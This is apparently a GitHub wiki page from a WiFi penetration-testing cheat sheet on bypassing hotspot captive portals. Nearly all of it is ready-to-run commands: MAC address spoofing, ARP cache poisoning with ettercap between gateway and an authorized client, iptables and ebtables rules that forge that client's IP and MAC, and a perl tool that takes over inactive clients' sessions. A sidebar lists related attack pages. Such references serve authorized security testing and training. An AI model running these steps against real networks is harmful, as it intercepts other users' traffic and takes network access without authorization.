-
Notifications
You must be signed in to change notification settings - Fork 183
04. Hotspot Captive Portal Bypass
Koutto edited this page Nov 1, 2020
·
1 revision
- Sniff network to find an authorized client identified by his MAC address
- Change interface MAC address:
ifconfig wlan0 hw ether <authorized_MAC_address>
- Activate IP forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward
- MiTM (ARP cache poisoning) between gateway & authorized client:
ettercap -T -q -i wlan0 -w dump -M ARP /<IP_authorized_client>/ /<IP_gateway>/
- All packets sent from the attacker will have to spoof the authorized client IP except for packets going in the LAN:
iptables -t nat -A OUTPUT -d ! <LAN> -j SNAT --to <IP_authorized_client>
- Increments TTL:
iptables -t mangle -A FORWARD -d <IP_authorized_client> -j TTL --ttl-inc 1
Spoof IP address of authorized client who has become inactive on hotspot (tool https://github.com/codewatchorg/cpscam):
perl cpscam.pl <interface> <ListenIP> <SubnetMask> <InactivityTimeout> <CaptiveLogoffURL>
- Turn interface into bridge mode:
modprobe bridge
brctl addbr br0
brctl addif br0 <interface>
- All frames sent by attacker to the gateway will have a spoofed source MAC address:
ebtables -t nat -A POSTROUTING -o <interface> -d <MAC_gateway> -j snat --to-source <MAC_authorized_client>
- Apply IP based authorization bypass - Method 1 (MiTM) (cf. before).
- 01. WiFi Basics
- 02. 802.11 Specifications
- 03. WPS (WiFi Protected Setup)
- 04. WPA Protocol Overview
- 05. WPA/WPA2 Personal (PSK) Authentication
- 06. WPA/WPA2 PSK Traffic Decryption
- 07. WPA/WPA2 Enterprise (MGT)
- 08. Evil Twin Attacks
- 09. 802.11 Network Selection Algorithms
- 01. WiFi Interfaces Management
- 02. WiFi Connection
- 03. WiFi Monitoring (Passive Scanning)
- 04. Hotspot Captive Portal Bypass
- 05. WiFi Denial of Service
- 06. WEP Authentication Cracking
- 07. WPA/WPA2 Personal (PSK) Authentication Cracking
- 08. WPA/WPA2 Enterprise (MGT) Authentication Cracking
- 09. WPA/WPA2 Personal (PSK) Traffic Decryption
- 10. Basic AP (Manual Configuration)
- 11. Open Network (no passphrase) Rogue AP / Evil Twin
- 12. WPA/WPA2 Personal (PSK) Rogue AP / Evil Twin
- 13. WPA/WPA2 Enterprise (MGT) Rogue AP / Evil Twin